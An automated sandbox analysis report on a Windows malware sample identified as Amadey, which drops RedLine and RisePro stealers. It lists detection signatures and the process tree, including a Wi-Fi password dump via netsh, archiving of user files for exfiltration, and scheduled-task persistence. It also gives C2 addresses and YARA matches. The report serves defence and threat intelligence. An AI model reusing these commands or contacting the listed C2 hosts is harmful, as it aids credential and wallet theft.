Edit tour

Windows Analysis Report
SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe

Overview

General Information

Sample name:	SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe
Analysis ID:	1428500
MD5:	f854143c49c4d2fa4cf73bab97ba8d3a
SHA1:	62454e89cf9b2558347e2179f49fb4a56f4762ec
SHA256:	8c8afd00e6087780e4ee0a36f170ba06f13ba6d0c46cd2119b876e88d40c24e3
Tags:	Amadeyexe
Infos:

Detection

Amadey, RedLine, RisePro Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Capture Wi-Fi password

Snort IDS alert for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected Amadeys Clipper DLL

Yara detected Amadeys stealer DLL

Yara detected RedLine Stealer

Yara detected RisePro Stealer

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Connects to many ports of the same IP (likely port scanning)

Creates multiple autostart registry keys

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Potentially malicious time measurement code found

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Suspicious Script Execution From Temp Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal WLAN passwords

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Instant Messenger accounts or passwords

Tries to steal Mail credentials (via file / registry access)

Uses known network protocols on non-standard ports

Uses netsh to modify the Windows network and firewall settings

Uses schtasks.exe or at.exe to add and modify task schedules

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found decision node followed by non-executed suspicious APIs

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

Installs a raw input device (often for capturing keystrokes)

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Folder Compress To Potentially Suspicious Output Via Compress-Archive Cmdlet

Sigma detected: Suspicious Add Scheduled Task Parent

Sleep loop found (likely to delay execution)

Stores files to the Windows start menu directory

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe (PID: 6128 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe" MD5: F854143C49C4D2FA4CF73BAB97BA8D3A)

explorha.exe (PID: 1788 cmdline: "C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe" MD5: F854143C49C4D2FA4CF73BAB97BA8D3A)

explorha.exe (PID: 2428 cmdline: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe MD5: F854143C49C4D2FA4CF73BAB97BA8D3A)

explorha.exe (PID: 4484 cmdline: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe MD5: F854143C49C4D2FA4CF73BAB97BA8D3A)

rundll32.exe (PID: 5168 cmdline: "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 3356 cmdline: "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main MD5: EF3179D498793BF4234F708D3BE28633)

netsh.exe (PID: 5228 cmdline: netsh wlan show profiles MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

conhost.exe (PID: 5516 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3176 cmdline: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 4568 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

rundll32.exe (PID: 1164 cmdline: "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll, Main MD5: 889B99C52A60DD49227C5E485A016679)

amert.exe (PID: 1988 cmdline: "C:\Users\user\AppData\Local\Temp\1000054001\amert.exe" MD5: 339020815B65530333BF2DDC928AC867)

831840b410.exe (PID: 3364 cmdline: "C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe" MD5: FB666C3917F960FD67DF0C2C8829D77F)

chrome.exe (PID: 412 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2956 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2172 --field-trial-handle=1920,i,17797173087143306694,7612419587186816950,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3092 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5540 --field-trial-handle=1920,i,17797173087143306694,7612419587186816950,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5644 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5660 --field-trial-handle=1920,i,17797173087143306694,7612419587186816950,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7292 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3632 --field-trial-handle=1920,i,17797173087143306694,7612419587186816950,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 8152 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3872 --field-trial-handle=1920,i,17797173087143306694,7612419587186816950,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

c884f8452a.exe (PID: 5596 cmdline: "C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe" MD5: 52257E8159B53FFB0F4E7CAE516DC107)

schtasks.exe (PID: 6420 cmdline: schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 2324 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 3636 cmdline: schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 2232 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WerFault.exe (PID: 8032 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5596 -s 2132 MD5: C31336C1EFC2CCB44B4326EA793040F2)

explorha.exe (PID: 5732 cmdline: "C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe" MD5: F854143C49C4D2FA4CF73BAB97BA8D3A)

chrosha.exe (PID: 6044 cmdline: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe MD5: 339020815B65530333BF2DDC928AC867)

svchost.exe (PID: 5144 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

MPGPH131.exe (PID: 4012 cmdline: C:\ProgramData\MPGPH131\MPGPH131.exe MD5: 52257E8159B53FFB0F4E7CAE516DC107)

WerFault.exe (PID: 7472 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 4012 -s 2052 MD5: C31336C1EFC2CCB44B4326EA793040F2)

MPGPH131.exe (PID: 3436 cmdline: C:\ProgramData\MPGPH131\MPGPH131.exe MD5: 52257E8159B53FFB0F4E7CAE516DC107)

WerFault.exe (PID: 720 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 3436 -s 1948 MD5: C31336C1EFC2CCB44B4326EA793040F2)

831840b410.exe (PID: 5672 cmdline: "C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe" MD5: FB666C3917F960FD67DF0C2C8829D77F)

chrome.exe (PID: 2764 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7212 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2188 --field-trial-handle=1636,i,5624198576768077496,445941079671464976,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

c884f8452a.exe (PID: 7988 cmdline: "C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe" MD5: 52257E8159B53FFB0F4E7CAE516DC107)

RageMP131.exe (PID: 1864 cmdline: "C:\Users\user\AppData\Local\RageMP131\RageMP131.exe" MD5: 52257E8159B53FFB0F4E7CAE516DC107)

831840b410.exe (PID: 7880 cmdline: "C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe" MD5: FB666C3917F960FD67DF0C2C8829D77F)

chrome.exe (PID: 8004 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2124 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=1984,i,457568203381776828,11237095852378400144,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrosha.exe (PID: 8024 cmdline: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe MD5: 339020815B65530333BF2DDC928AC867)

build12.exe (PID: 5608 cmdline: "C:\Users\user\AppData\Local\Temp\1000187001\build12.exe" MD5: 4CFD179519524269052023E10DE6B866)

conhost.exe (PID: 7220 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

rundll32.exe (PID: 7996 cmdline: "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\c1ec479e5342a2\cred64.dll, Main MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 3844 cmdline: MD5: EF3179D498793BF4234F708D3BE28633)

netsh.exe (PID: 7396 cmdline: MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

build12.exe (PID: 7324 cmdline: MD5: 4CFD179519524269052023E10DE6B866)

conhost.exe (PID: 7292 cmdline: MD5: 0D698AF330FD17BEE3BF90011D49251D)

c884f8452a.exe (PID: 7476 cmdline: "C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe" MD5: 52257E8159B53FFB0F4E7CAE516DC107)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/ https://bitsight.com/blog/unveiling-socks5systemz-rise-new-proxy-service-privateloader-and-amadey	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Malware Configuration

Threatname: Amadey

{"C2 url": ["http://193.233.132.56/Pneh2sXQk0/index.php"]}

Threatname: RedLine

{"C2 url": ["b-stamps.gl.at.ply.gg:30946"], "Bot Id": "Traffic"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
dump.pcap	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x18138a5:$a4: get_ScannedWallets 0x1812599:$a5: get_ScanTelegram 0x1813529:$a6: get_ScanGeckoBrowsersPaths 0x1810e4d:$a7: <Processes>k__BackingField 0x180e629:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x181065d:$a9: <ScanFTP>k__BackingField

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField
C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x13610:$v2_3: GetArguments 0x11cd9:$v2_4: VerifyUpdate 0x1660a:$v2_4: VerifyUpdate 0x139ca:$v2_5: VerifyScanRequest 0x130c6:$v2_6: GetUpdates 0x165eb:$v2_6: GetUpdates
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\build12[1].exe	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\build12[1].exe	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\build12[1].exe	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\build12[1].exe	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x13610:$v2_3: GetArguments 0x11cd9:$v2_4: VerifyUpdate 0x1660a:$v2_4: VerifyUpdate 0x139ca:$v2_5: VerifyScanRequest 0x130c6:$v2_6: GetUpdates 0x165eb:$v2_6: GetUpdates
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\clip64[1].dll	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\clip64[1].dll	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField
C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x13610:$v2_3: GetArguments 0x11cd9:$v2_4: VerifyUpdate 0x1660a:$v2_4: VerifyUpdate 0x139ca:$v2_5: VerifyScanRequest 0x130c6:$v2_6: GetUpdates 0x165eb:$v2_6: GetUpdates
C:\Users\user\AppData\Local\Temp\L6h0MKsU674R9uRTEifr_26.zip	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\lGaQRZaI9ZBmSkbqM2Ghh6s.zip	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\clip64[1].dll	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\clip64[1].dll	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\cred64[1].dll	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\cred64[1].dll	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
C:\Users\user\AppData\Roaming\c1ec479e5342a2\cred64.dll	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 21 entries

Memory Dumps

Source	Rule	Description	Author	Strings
0000001D.00000002.3253650821.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001C.00000002.3245487291.00000000013F7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001C.00000003.2928548272.0000000004FB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000000.00000003.2052123987.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001D.00000002.3261208378.0000000007DEF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000002.00000002.2130672754.0000000000701000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000002D.00000003.3127053365.0000000005330000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000033.00000002.3372562116.0000000000AA1000.00000040.00000001.01000000.00000014.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
0000001D.00000003.3072924932.0000000007DEF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000024.00000003.3049065543.00000000048F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
0000001D.00000002.3252023529.0000000000891000.00000040.00000001.01000000.00000015.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
0000002D.00000002.3204405230.0000000000371000.00000040.00000001.01000000.00000017.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
0000001D.00000003.3071931619.0000000007DEA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000014.00000003.2883884113.0000000005380000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
0000000E.00000003.2792595641.0000000004D90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000014.00000002.3269708121.0000000000AA1000.00000040.00000001.01000000.00000014.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000033.00000003.3293720784.0000000004F20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
0000001D.00000002.3260532533.0000000007940000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000002.00000003.2089957305.00000000046B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000003.00000002.2151058621.0000000000701000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001D.00000003.3072820312.0000000007DEC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000014.00000003.2990613852.0000000007EE5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000032.00000003.3292101674.0000000004840000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000034.00000000.3328661632.00000000003C2000.00000002.00000001.01000000.00000018.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000034.00000000.3328661632.00000000003C2000.00000002.00000001.01000000.00000018.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000034.00000000.3328661632.00000000003C2000.00000002.00000001.01000000.00000018.sdmp	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x133ca:$a4: get_ScannedWallets 0x12228:$a5: get_ScanTelegram 0x1304e:$a6: get_ScanGeckoBrowsersPaths 0x10e6a:$a7: <Processes>k__BackingField 0xed7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1079e:$a9: <ScanFTP>k__BackingField
0000000E.00000002.2839016933.0000000000361000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000024.00000002.3145142996.0000000000AA1000.00000040.00000001.01000000.00000014.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000014.00000002.3280096095.0000000007EE5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
0000001C.00000002.3251490227.0000000007C50000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000014.00000002.3272062949.00000000016CC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000003.2687465416.0000000004F30000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001D.00000003.3072419404.0000000007DEC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
0000000F.00000003.2831581300.00000000052C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001C.00000002.3244160511.0000000000891000.00000040.00000001.01000000.00000015.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000000.00000002.2139306429.0000000000B81000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000003.00000003.2110741282.0000000004D70000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000F.00000002.2880613801.0000000000071000.00000040.00000001.01000000.00000010.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
